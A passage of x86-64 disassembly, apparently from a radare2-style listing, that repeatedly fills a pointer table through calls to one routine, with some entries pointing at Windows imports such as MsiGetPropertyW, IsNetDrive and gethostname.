movabs rdx, 0x1401c2c76
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4e
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c253e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4e
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d0200
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7b54
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd9cc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4f
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dd482
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4f
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4b90
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x50
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d85f2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x50
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d45d2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x50
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d5714
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x50
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc972
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x51
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb006
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x51
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cfdd0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x51
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ccb34
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x51
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dcd60
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x52
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da9b8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x52
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d0550
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x52
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd2be
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x52
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7d84
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x53
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2da4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x53
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d22d0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x53
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d30fa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x53
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c1b1e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x54
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ce39a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x54
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d5252
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x54
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d356a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x54
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d72b2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x55
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cebe6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x55
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2008
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x55
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb9a2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x55
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c84ca
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x56
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8c56
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x56
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d30be
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x56
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ce808
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x56
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ce9b2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x57
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7ff0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x57
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.msi.dll_MsiGetPropertyW
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x57
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5fd6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x57
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c99ea
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x58
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d813e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x58
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d90f6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x58
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c35f6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x58
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cfa00
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x59
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c806c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x59
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ca834
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x59
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5bb4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x59
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dafb6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d5956
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.msi.dll_MsiGetPropertyW
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5a
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1a9c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5a
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401daeee
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2e7a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dabe2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5b
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5b70
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5b
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d01aa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cfed0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4ca6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5c
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d74d0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5c
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401db2b6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c671e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c64a4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5d
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1710
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5d
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3380
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1e1a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3648
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5e
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5e
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d401e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d4daa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d5466
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5f
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x5f
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3424
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x60
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d19f2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x60
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7abe
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x60
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x60
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc05a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x61
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c81f8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x61
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d5364
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x61
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x61
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3e44
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x62
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d9f6e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x62
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da5c8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x62
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x62
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dbdfa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x63
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d892a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x63
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d82b8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x63
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x63
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d9ada
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x64
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ca198
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x64
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8a22
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x64
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x64
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d2f16
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x65
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d67b6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x65
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cacb0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x65
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x65
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf0a4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x66
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c168e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x66
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cdec2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x66
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x66
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf6ae
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x67
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyaddr
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x67
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d981e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x67
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x67
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d0e58
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x68
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ccc62
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x68
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf164
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x68
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x68
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da7c8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x69
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x69
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dd0ec
